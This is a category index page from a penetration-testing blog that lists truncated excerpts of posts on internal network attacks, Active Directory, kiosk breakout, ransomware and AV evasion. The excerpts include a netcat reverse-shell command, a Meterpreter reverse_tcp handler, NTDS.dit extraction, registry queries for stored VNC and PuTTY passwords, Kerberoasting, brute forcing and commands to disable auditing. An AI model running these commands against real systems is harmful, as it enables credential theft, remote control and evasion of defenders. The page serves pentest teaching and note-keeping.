Posts by Category

Internal Pentest

HiveJack

3 minute read

HiveJack This tool can be used during internal penetration testing to dump Windows credentials from an already-compromised host. It allows one to dump SYSTEM...

Living Off The Land Binaries - AT Command

3 minute read

Examples of at.exe being used maliciously in order to establish persistence in a manner almost identical to schtasks use as a lolbin (enter hashes into viru...

Internal Infrastructure Pentest - Socks Tunnel

less than 1 minute read

SOCKS 5 proxy tunnel:

Internal Infrastructure Pentest - metasploit gpp

less than 1 minute read

msf > use auxiliary/scanner/smb/smb_enum_gpp msf auxiliary(smb_enum_gpp) > set SMBUSER test SMBUSER => test msf auxiliary(smb_enum_gpp) > set S...

Internal Infrastructure Pentest - msfvenom

less than 1 minute read

Handler on Msfconsole - use exploit/multi/handler - set PAYLOAD windows/meterpreter/reverse_tcp - set LHOST localhost - set LPORT 4444 - set Exi...

Internal Infrastructure Pentest - User Management Kali

less than 1 minute read

adduser user1 passwd user1 type new password: xxxxxxxxxxxxxxx type confirm password: xxxxxxxxxxxx Adding user to the sudoers ...

Internal Infrastructure Pentest - Unencrypted HDD Boot

less than 1 minute read

- Boot the machine with Kali - fdisk -l - look for (HPFS/NTFS/exFat) in the Type column of the about command - mkdir /mnt/nts - mount -t -ntfs-3g /dev/sda1 ...

Internal Infrastructure Pentest - UAC Bypass

less than 1 minute read

• Windows 7 UAC whitelist, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html • Malicious Application Compatibility Shims, https://www.blackhat.co...

Internal Infrastructure Pentest - Responder

less than 1 minute read

Responder.py -i local-ip -I interface

Internal Infrastructure Pentest - Procdump

less than 1 minute read

Download Procdump: https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Internal Infrastructure Pentest - Nmap Ping Sweep

less than 1 minute read

Ping sweep is the process of pinging an entire range of network ip addresses to find out which ones are online or alive. Nmap is an excellent tool to do t...

Internal Infrastructure Pentest - Nessus Installation

less than 1 minute read

- sudo wget http://downloads.nessus.org/nessus3dl.php?file=Nessus-6.11.1-debian6_amd64.deb - sudo dpkg -i Nessus-6.11.1-debian6_amd64.deb - Incase you hav...

Internal Infrastructure Pentest - Kerberoasting

less than 1 minute read

- Firstly purge all the tickets - klist purge - klist - SPN scan for service accounts - setspn -T domain_name -F -Q */* - Now request Service...

Internal Infrastructure Pentest - Repos For Internal Pentest

3 minute read

Impacket: Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to...

Internal Infrastructure Pentest - Hydra

less than 1 minute read

root@kali:~# hydra -t 1 -l admin -P /root/Desktop/password.lst -vV ftp </pre>

Internal Infrastructure Pentest - Citrix Breakout

less than 1 minute read

Method 1:

Internal Infrastructure Pentest - Netcat

less than 1 minute read

Setup a listener: nc -lvp 4444 Connect using netcat reverse shell: nc -e /bin/sh 4444

Internal Infrastructure Pentest - Enable RDP and Remote Assistance on A Remote Machine

less than 1 minute read

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f reg add "hklm\system\currentControlSet\Contro...

Internal Infrastructure Pentest - Extracting Juicy Information from Registry

less than 1 minute read

reg query “HKCU\Software\ORL\WinVNC3\Password” reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query “HKCU\Software\SimonTatham\...

Internal Infrastructure Pentest - Skeleton Key Attack

less than 1 minute read

Skeleton Key Attack: This attack is very tricky. It makes the secondary password for the same user. Many malware takes advantage of this attack to create ...

Internal Infrastructure Pentest - Mimikatz

less than 1 minute read

Mimikatz: mimikatz is a tool gentilkiwi made to learn C and make somes experiments with Windows security. It’s now well known to extract plaintexts passwords...

Internal Infrastructure Pentest - Password Spraying With CMD

less than 1 minute read

Password Spraying: It is a technique of trying one password across all the domain users. - No tool needed. One can perform password spraing using cmd.ex...

Internal Infrastructure Pentest - Hashcat Password Cracking

less than 1 minute read

Hashcat hashcat64.bin -a 0 -m 5600 hashes dict.txt -o output.pot

Internal Infrastructure Pentest - LLMNR

less than 1 minute read

LLMNR (Link Local Multicast Name Rsolution): The Link-Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet f...

Internal Infrastructure Pentest - DumpSec

less than 1 minute read

Dumpsec: DumpSec is a security auditing program for Microsoft Windows. It dumps the permissions (DACLs) and audit settings (SACLs) for the file system, re...

Internal Infrastructure Pentest - Extracting NTDS.DIT File

less than 1 minute read

Clear text proxy credentials of putty: reg query “HKCU\Software\SimonTatham\PuTTY\Sessions” This lists out all available sessions with pu...

Internal Infrastructure Pentest - Extracting NTDS.DIT File

less than 1 minute read

Method1: ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy "MOUNT_POINT\windows\ntds\ntds.dit" "c:...

Internal Infrastructure Pentest - Remote PsExec

less than 1 minute read

- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f - PsExec64.exe \\172.20.10.8 -...

Internal Infrastructure Pentest - Null Session

less than 1 minute read

Active Reconnaissance Methods: Null Session: net use \[DA IP Address]\ipc$ “” “/user:” here we’re trying to connec...

Internal Infrastructure Pentest - List of Commands

less than 1 minute read

Commands for Initial Investigation tasklist TASKLIST TASKLIST /M TASKLIST /V /FO CSV TASKLIST /SVC /FO LIST TASKLIST ...

Internal Infrastructure Pentest - Disable Security Policies and Services

less than 1 minute read

Disable security policies and services to avoid detection by Blue team Auditpol /set /Category:System /failure:disable Services.msc: ...

Back to top ↑

Internal Infrastructure Pentest

Internal Infrastructure Pentest - Socks Tunnel

less than 1 minute read

SOCKS 5 proxy tunnel:

Internal Infrastructure Pentest - metasploit gpp

less than 1 minute read

msf > use auxiliary/scanner/smb/smb_enum_gpp msf auxiliary(smb_enum_gpp) > set SMBUSER test SMBUSER => test msf auxiliary(smb_enum_gpp) > set S...

Internal Infrastructure Pentest - msfvenom

less than 1 minute read

Handler on Msfconsole - use exploit/multi/handler - set PAYLOAD windows/meterpreter/reverse_tcp - set LHOST localhost - set LPORT 4444 - set Exi...

Internal Infrastructure Pentest - User Management Kali

less than 1 minute read

adduser user1 passwd user1 type new password: xxxxxxxxxxxxxxx type confirm password: xxxxxxxxxxxx Adding user to the sudoers ...

Internal Infrastructure Pentest - Unencrypted HDD Boot

less than 1 minute read

- Boot the machine with Kali - fdisk -l - look for (HPFS/NTFS/exFat) in the Type column of the about command - mkdir /mnt/nts - mount -t -ntfs-3g /dev/sda1 ...

Internal Infrastructure Pentest - UAC Bypass

less than 1 minute read

• Windows 7 UAC whitelist, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html • Malicious Application Compatibility Shims, https://www.blackhat.co...

Internal Infrastructure Pentest - Responder

less than 1 minute read

Responder.py -i local-ip -I interface

Internal Infrastructure Pentest - Procdump

less than 1 minute read

Download Procdump: https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Internal Infrastructure Pentest - Nmap Ping Sweep

less than 1 minute read

Ping sweep is the process of pinging an entire range of network ip addresses to find out which ones are online or alive. Nmap is an excellent tool to do t...

Internal Infrastructure Pentest - Nessus Installation

less than 1 minute read

- sudo wget http://downloads.nessus.org/nessus3dl.php?file=Nessus-6.11.1-debian6_amd64.deb - sudo dpkg -i Nessus-6.11.1-debian6_amd64.deb - Incase you hav...

Internal Infrastructure Pentest - Kerberoasting

less than 1 minute read

- Firstly purge all the tickets - klist purge - klist - SPN scan for service accounts - setspn -T domain_name -F -Q */* - Now request Service...

Internal Infrastructure Pentest - Repos For Internal Pentest

3 minute read

Impacket: Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to...

Internal Infrastructure Pentest - Hydra

less than 1 minute read

root@kali:~# hydra -t 1 -l admin -P /root/Desktop/password.lst -vV ftp </pre>

Internal Infrastructure Pentest - Citrix Breakout

less than 1 minute read

Method 1:

Internal Infrastructure Pentest - Netcat

less than 1 minute read

Setup a listener: nc -lvp 4444 Connect using netcat reverse shell: nc -e /bin/sh 4444

Internal Infrastructure Pentest - Enable RDP and Remote Assistance on A Remote Machine

less than 1 minute read

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f reg add "hklm\system\currentControlSet\Contro...

Internal Infrastructure Pentest - Extracting Juicy Information from Registry

less than 1 minute read

reg query “HKCU\Software\ORL\WinVNC3\Password” reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query “HKCU\Software\SimonTatham\...

Internal Infrastructure Pentest - Skeleton Key Attack

less than 1 minute read

Skeleton Key Attack: This attack is very tricky. It makes the secondary password for the same user. Many malware takes advantage of this attack to create ...

Internal Infrastructure Pentest - Mimikatz

less than 1 minute read

Mimikatz: mimikatz is a tool gentilkiwi made to learn C and make somes experiments with Windows security. It’s now well known to extract plaintexts passwords...

Internal Infrastructure Pentest - Password Spraying With CMD

less than 1 minute read

Password Spraying: It is a technique of trying one password across all the domain users. - No tool needed. One can perform password spraing using cmd.ex...

Internal Infrastructure Pentest - Hashcat Password Cracking

less than 1 minute read

Hashcat hashcat64.bin -a 0 -m 5600 hashes dict.txt -o output.pot

Internal Infrastructure Pentest - LLMNR

less than 1 minute read

LLMNR (Link Local Multicast Name Rsolution): The Link-Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet f...

Internal Infrastructure Pentest - DumpSec

less than 1 minute read

Dumpsec: DumpSec is a security auditing program for Microsoft Windows. It dumps the permissions (DACLs) and audit settings (SACLs) for the file system, re...

Internal Infrastructure Pentest - Extracting NTDS.DIT File

less than 1 minute read

Clear text proxy credentials of putty: reg query “HKCU\Software\SimonTatham\PuTTY\Sessions” This lists out all available sessions with pu...

Internal Infrastructure Pentest - Extracting NTDS.DIT File

less than 1 minute read

Method1: ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy "MOUNT_POINT\windows\ntds\ntds.dit" "c:...

Internal Infrastructure Pentest - Remote PsExec

less than 1 minute read

- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f - PsExec64.exe \\172.20.10.8 -...

Internal Infrastructure Pentest - Null Session

less than 1 minute read

Active Reconnaissance Methods: Null Session: net use \[DA IP Address]\ipc$ “” “/user:” here we’re trying to connec...

Internal Infrastructure Pentest - List of Commands

less than 1 minute read

Commands for Initial Investigation tasklist TASKLIST TASKLIST /M TASKLIST /V /FO CSV TASKLIST /SVC /FO LIST TASKLIST ...

Internal Infrastructure Pentest - Disable Security Policies and Services

less than 1 minute read

Disable security policies and services to avoid detection by Blue team Auditpol /set /Category:System /failure:disable Services.msc: ...

Back to top ↑

Network Pentest

Internal Infrastructure Pentest - Socks Tunnel

less than 1 minute read

SOCKS 5 proxy tunnel:

Internal Infrastructure Pentest - metasploit gpp

less than 1 minute read

msf > use auxiliary/scanner/smb/smb_enum_gpp msf auxiliary(smb_enum_gpp) > set SMBUSER test SMBUSER => test msf auxiliary(smb_enum_gpp) > set S...

Internal Infrastructure Pentest - msfvenom

less than 1 minute read

Handler on Msfconsole - use exploit/multi/handler - set PAYLOAD windows/meterpreter/reverse_tcp - set LHOST localhost - set LPORT 4444 - set Exi...

Internal Infrastructure Pentest - User Management Kali

less than 1 minute read

adduser user1 passwd user1 type new password: xxxxxxxxxxxxxxx type confirm password: xxxxxxxxxxxx Adding user to the sudoers ...

Internal Infrastructure Pentest - Unencrypted HDD Boot

less than 1 minute read

- Boot the machine with Kali - fdisk -l - look for (HPFS/NTFS/exFat) in the Type column of the about command - mkdir /mnt/nts - mount -t -ntfs-3g /dev/sda1 ...

Internal Infrastructure Pentest - UAC Bypass

less than 1 minute read

• Windows 7 UAC whitelist, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html • Malicious Application Compatibility Shims, https://www.blackhat.co...

Internal Infrastructure Pentest - Responder

less than 1 minute read

Responder.py -i local-ip -I interface

Internal Infrastructure Pentest - Procdump

less than 1 minute read

Download Procdump: https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Internal Infrastructure Pentest - Nmap Ping Sweep

less than 1 minute read

Ping sweep is the process of pinging an entire range of network ip addresses to find out which ones are online or alive. Nmap is an excellent tool to do t...

Internal Infrastructure Pentest - Nessus Installation

less than 1 minute read

- sudo wget http://downloads.nessus.org/nessus3dl.php?file=Nessus-6.11.1-debian6_amd64.deb - sudo dpkg -i Nessus-6.11.1-debian6_amd64.deb - Incase you hav...

Internal Infrastructure Pentest - Kerberoasting

less than 1 minute read

- Firstly purge all the tickets - klist purge - klist - SPN scan for service accounts - setspn -T domain_name -F -Q */* - Now request Service...

Internal Infrastructure Pentest - Repos For Internal Pentest

3 minute read

Impacket: Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to...

Internal Infrastructure Pentest - Hydra

less than 1 minute read

root@kali:~# hydra -t 1 -l admin -P /root/Desktop/password.lst -vV ftp </pre>

Internal Infrastructure Pentest - Citrix Breakout

less than 1 minute read

Method 1:

Internal Infrastructure Pentest - Netcat

less than 1 minute read

Setup a listener: nc -lvp 4444 Connect using netcat reverse shell: nc -e /bin/sh 4444

Internal Infrastructure Pentest - Enable RDP and Remote Assistance on A Remote Machine

less than 1 minute read

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f reg add "hklm\system\currentControlSet\Contro...

Internal Infrastructure Pentest - Extracting Juicy Information from Registry

less than 1 minute read

reg query “HKCU\Software\ORL\WinVNC3\Password” reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query “HKCU\Software\SimonTatham\...

Internal Infrastructure Pentest - Skeleton Key Attack

less than 1 minute read

Skeleton Key Attack: This attack is very tricky. It makes the secondary password for the same user. Many malware takes advantage of this attack to create ...

Internal Infrastructure Pentest - Mimikatz

less than 1 minute read

Mimikatz: mimikatz is a tool gentilkiwi made to learn C and make somes experiments with Windows security. It’s now well known to extract plaintexts passwords...

Internal Infrastructure Pentest - Password Spraying With CMD

less than 1 minute read

Password Spraying: It is a technique of trying one password across all the domain users. - No tool needed. One can perform password spraing using cmd.ex...

Internal Infrastructure Pentest - Hashcat Password Cracking

less than 1 minute read

Hashcat hashcat64.bin -a 0 -m 5600 hashes dict.txt -o output.pot

Internal Infrastructure Pentest - LLMNR

less than 1 minute read

LLMNR (Link Local Multicast Name Rsolution): The Link-Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet f...

Internal Infrastructure Pentest - DumpSec

less than 1 minute read

Dumpsec: DumpSec is a security auditing program for Microsoft Windows. It dumps the permissions (DACLs) and audit settings (SACLs) for the file system, re...

Internal Infrastructure Pentest - Extracting NTDS.DIT File

less than 1 minute read

Clear text proxy credentials of putty: reg query “HKCU\Software\SimonTatham\PuTTY\Sessions” This lists out all available sessions with pu...

Internal Infrastructure Pentest - Extracting NTDS.DIT File

less than 1 minute read

Method1: ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy "MOUNT_POINT\windows\ntds\ntds.dit" "c:...

Internal Infrastructure Pentest - Remote PsExec

less than 1 minute read

- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f - PsExec64.exe \\172.20.10.8 -...

Internal Infrastructure Pentest - Null Session

less than 1 minute read

Active Reconnaissance Methods: Null Session: net use \[DA IP Address]\ipc$ “” “/user:” here we’re trying to connec...

Internal Infrastructure Pentest - List of Commands

less than 1 minute read

Commands for Initial Investigation tasklist TASKLIST TASKLIST /M TASKLIST /V /FO CSV TASKLIST /SVC /FO LIST TASKLIST ...

Internal Infrastructure Pentest - Disable Security Policies and Services

less than 1 minute read

Disable security policies and services to avoid detection by Blue team Auditpol /set /Category:System /failure:disable Services.msc: ...

Back to top ↑

Active Directory Hacking

Internal Infrastructure Pentest - Socks Tunnel

less than 1 minute read

SOCKS 5 proxy tunnel:

Internal Infrastructure Pentest - metasploit gpp

less than 1 minute read

msf > use auxiliary/scanner/smb/smb_enum_gpp msf auxiliary(smb_enum_gpp) > set SMBUSER test SMBUSER => test msf auxiliary(smb_enum_gpp) > set S...

Internal Infrastructure Pentest - msfvenom

less than 1 minute read

Handler on Msfconsole - use exploit/multi/handler - set PAYLOAD windows/meterpreter/reverse_tcp - set LHOST localhost - set LPORT 4444 - set Exi...

Internal Infrastructure Pentest - User Management Kali

less than 1 minute read

adduser user1 passwd user1 type new password: xxxxxxxxxxxxxxx type confirm password: xxxxxxxxxxxx Adding user to the sudoers ...

Internal Infrastructure Pentest - Unencrypted HDD Boot

less than 1 minute read

- Boot the machine with Kali - fdisk -l - look for (HPFS/NTFS/exFat) in the Type column of the about command - mkdir /mnt/nts - mount -t -ntfs-3g /dev/sda1 ...

Internal Infrastructure Pentest - UAC Bypass

less than 1 minute read

• Windows 7 UAC whitelist, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html • Malicious Application Compatibility Shims, https://www.blackhat.co...

Internal Infrastructure Pentest - Responder

less than 1 minute read

Responder.py -i local-ip -I interface

Internal Infrastructure Pentest - Procdump

less than 1 minute read

Download Procdump: https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Internal Infrastructure Pentest - Nmap Ping Sweep

less than 1 minute read

Ping sweep is the process of pinging an entire range of network ip addresses to find out which ones are online or alive. Nmap is an excellent tool to do t...

Internal Infrastructure Pentest - Nessus Installation

less than 1 minute read

- sudo wget http://downloads.nessus.org/nessus3dl.php?file=Nessus-6.11.1-debian6_amd64.deb - sudo dpkg -i Nessus-6.11.1-debian6_amd64.deb - Incase you hav...

Back to top ↑

Security Automation

Brace Yourself: Cyber Attacks on Australian Businesses Set to Skyrocket

2 minute read

Brace Yourself: Cyber Attacks on Australian Businesses Set to Skyrocket

The Power of In-Memory Executions: How to Execute Code without Touching Disk

6 minute read

In-memory execution is a technique used by malware developers to evade detection by traditional antivirus solutions. Instead of writing their malicious code ...

Understanding DevSecOps Security Test Pyramid

9 minute read

Happy New Year, readers!

Threat Investigation Canvas

less than 1 minute read

Over the last few days, I observed targeted campaigns against Microsoft brand. With multiple feed sources, found 447 unique malicious domains.

Automated Threat Intelligence and Response using TIP and SOAR

6 minute read

What is a TIP?

Back to top ↑

ATM Hacking

ATM/Kiosk Machine Hacking - Shortcuts to Breakout of the Screen

less than 1 minute read

ALT+F4: Quit program ALT+SPACE: System Menu ALT+TAB: Switch between open programs CTRL+ALT+DEL: Task Manager or Windows Security Screen CTRL+B: Op...

ATM/Kiosk Machine Hacking - Folder Path Alternatives

less than 1 minute read

%USERPROFILE% %PROGRAMDATA% %PUBLIC% %TMP% %WINDIR% %SYSTEMDRIVE% %SYSTEMROOT%

ATM/Kiosk Machine Hacking - Captive Portal Breakout

less than 1 minute read

Visit http://ikat.ha.cked.net/ from the Browser

ATM/Kiosk Machine Hacking - Shell Protocols

less than 1 minute read

shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}::{24ad3ad4-a569-4530-98e1-ab02f9417aa8} Shell:Profile Shell:ProgramFiles Shell:System Shell:Control...

Back to top ↑

Kiosk Hacking

ATM/Kiosk Machine Hacking - Shortcuts to Breakout of the Screen

less than 1 minute read

ALT+F4: Quit program ALT+SPACE: System Menu ALT+TAB: Switch between open programs CTRL+ALT+DEL: Task Manager or Windows Security Screen CTRL+B: Op...

ATM/Kiosk Machine Hacking - Folder Path Alternatives

less than 1 minute read

%USERPROFILE% %PROGRAMDATA% %PUBLIC% %TMP% %WINDIR% %SYSTEMDRIVE% %SYSTEMROOT%

ATM/Kiosk Machine Hacking - Captive Portal Breakout

less than 1 minute read

Visit http://ikat.ha.cked.net/ from the Browser

ATM/Kiosk Machine Hacking - Shell Protocols

less than 1 minute read

shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}::{24ad3ad4-a569-4530-98e1-ab02f9417aa8} Shell:Profile Shell:ProgramFiles Shell:System Shell:Control...

Back to top ↑

Threat Intelligence

Brace Yourself: Cyber Attacks on Australian Businesses Set to Skyrocket

2 minute read

Brace Yourself: Cyber Attacks on Australian Businesses Set to Skyrocket

Threat Investigation Canvas

less than 1 minute read

Over the last few days, I observed targeted campaigns against Microsoft brand. With multiple feed sources, found 447 unique malicious domains.

Automated Threat Intelligence and Response using TIP and SOAR

6 minute read

What is a TIP?

Back to top ↑

Hardware Hacking

Hardware Hacking - Dropbox for Pentesting

less than 1 minute read

Command & Control Server:

Hardware Hacking - Information Gathering

less than 1 minute read

https://www.fcc.gov/oet/ea/fccid

Back to top ↑

LOTL

HiveJack

3 minute read

HiveJack This tool can be used during internal penetration testing to dump Windows credentials from an already-compromised host. It allows one to dump SYSTEM...

Living Off The Land Binaries - AT Command

3 minute read

Examples of at.exe being used maliciously in order to establish persistence in a manner almost identical to schtasks use as a lolbin (enter hashes into viru...

Back to top ↑

EDR

HiveJack

3 minute read

HiveJack This tool can be used during internal penetration testing to dump Windows credentials from an already-compromised host. It allows one to dump SYSTEM...

Living Off The Land Binaries - AT Command

3 minute read

Examples of at.exe being used maliciously in order to establish persistence in a manner almost identical to schtasks use as a lolbin (enter hashes into viru...

Back to top ↑

Offnesive Security

Destroying Cloud Infrastructure with Nuking Tools

4 minute read

Cloud computing has become the backbone of countless businesses, ensuring the security of cloud infrastructure is of utmost importance. Misconfigurations, un...

Installing Kali in AWS EC2 Instance

less than 1 minute read

sudo passwd kali sudo apt-get update sudo apt-get install xrdp lxde-core lxde tigervnc-standalone-server -y cd / sudo sed -i ‘s/allowed_users=.*/a...

Back to top ↑

Web Application Testing

Web Application Pentest - HTML-to-PDF-Converter

less than 1 minute read

Below are some of the vulnerability reports in the HTML to PDF converters or PDF parsers.

Back to top ↑

WebApp Security

Web Application Pentest - HTML-to-PDF-Converter

less than 1 minute read

Below are some of the vulnerability reports in the HTML to PDF converters or PDF parsers.

Back to top ↑

SDR

IMSI Catcher

2 minute read

Thanks to Keld Norman

Back to top ↑

Radio Frequency

IMSI Catcher

2 minute read

Thanks to Keld Norman

Back to top ↑

USB Forensics

Restore Lost Capacity Of Your USB Drives and SD Cards

less than 1 minute read

I was playing with the Pi hole on one of my old Raspberry Pi and noticed that my 32 GB SanDisk Micro SD card was showing only 100 MB as space. I tried multip...

Back to top ↑

Forensics

Restore Lost Capacity Of Your USB Drives and SD Cards

less than 1 minute read

I was playing with the Pi hole on one of my old Raspberry Pi and noticed that my 32 GB SanDisk Micro SD card was showing only 100 MB as space. I tried multip...

Back to top ↑

USB Drops

Restore Lost Capacity Of Your USB Drives and SD Cards

less than 1 minute read

I was playing with the Pi hole on one of my old Raspberry Pi and noticed that my 32 GB SanDisk Micro SD card was showing only 100 MB as space. I tried multip...

Back to top ↑

Ransomware

Phirautee- Writing Ransomware using Living off the Land (LotL) Tactics

6 minute read

Phirautee A proof of concept crypto virus to spread user awareness about attacks and implications of ransomwares. Phirautee is written purely using PowerShel...

Back to top ↑

Malware

Phirautee- Writing Ransomware using Living off the Land (LotL) Tactics

6 minute read

Phirautee A proof of concept crypto virus to spread user awareness about attacks and implications of ransomwares. Phirautee is written purely using PowerShel...

Back to top ↑

Emerging Threats

Phirautee- Writing Ransomware using Living off the Land (LotL) Tactics

6 minute read

Phirautee A proof of concept crypto virus to spread user awareness about attacks and implications of ransomwares. Phirautee is written purely using PowerShel...

Back to top ↑

Web Application Pentest

Nette Framework: CVE-2020-15227

less than 1 minute read

Nette Framework: Nette Framework is an open-source framework for creating web applications in PHP 5 and 7. It supports AJAX, DRY, KISS, MVC and code reusabil...

Back to top ↑

CVE

Nette Framework: CVE-2020-15227

less than 1 minute read

Nette Framework: Nette Framework is an open-source framework for creating web applications in PHP 5 and 7. It supports AJAX, DRY, KISS, MVC and code reusabil...

Back to top ↑

OSINT

BigBountyRecon - Reconnaissance Tool

9 minute read

BigBountyRecon BigBountyRecon tool utilises 58 different techniques using various Google dorks and open source tools to expedite the process of initial recon...

Back to top ↑

Reconnaissance

BigBountyRecon - Reconnaissance Tool

9 minute read

BigBountyRecon BigBountyRecon tool utilises 58 different techniques using various Google dorks and open source tools to expedite the process of initial recon...

Back to top ↑

DevOps

Understanding DevSecOps Security Test Pyramid

9 minute read

Happy New Year, readers!

Back to top ↑

DevSecOps

Understanding DevSecOps Security Test Pyramid

9 minute read

Happy New Year, readers!

Back to top ↑

Red Team

The Power of In-Memory Executions: How to Execute Code without Touching Disk

6 minute read

In-memory execution is a technique used by malware developers to evade detection by traditional antivirus solutions. Instead of writing their malicious code ...

Back to top ↑

AV Bypass

The Power of In-Memory Executions: How to Execute Code without Touching Disk

6 minute read

In-memory execution is a technique used by malware developers to evade detection by traditional antivirus solutions. Instead of writing their malicious code ...

Back to top ↑

Security

Installing Kali in AWS EC2 Instance

less than 1 minute read

sudo passwd kali sudo apt-get update sudo apt-get install xrdp lxde-core lxde tigervnc-standalone-server -y cd / sudo sed -i ‘s/allowed_users=.*/a...

Back to top ↑

Kali

Installing Kali in AWS EC2 Instance

less than 1 minute read

sudo passwd kali sudo apt-get update sudo apt-get install xrdp lxde-core lxde tigervnc-standalone-server -y cd / sudo sed -i ‘s/allowed_users=.*/a...

Back to top ↑

Cloud Security

Destroying Cloud Infrastructure with Nuking Tools

4 minute read

Cloud computing has become the backbone of countless businesses, ensuring the security of cloud infrastructure is of utmost importance. Misconfigurations, un...

Back to top ↑

Viral Maniar

Posts by Category

Internal Pentest

Internal Infrastructure Pentest

Network Pentest

Active Directory Hacking

Security Automation

ATM Hacking

Kiosk Hacking

Threat Intelligence

Hardware Hacking

LOTL

EDR

Offnesive Security

Web Application Testing

WebApp Security

SDR

Radio Frequency

USB Forensics

Forensics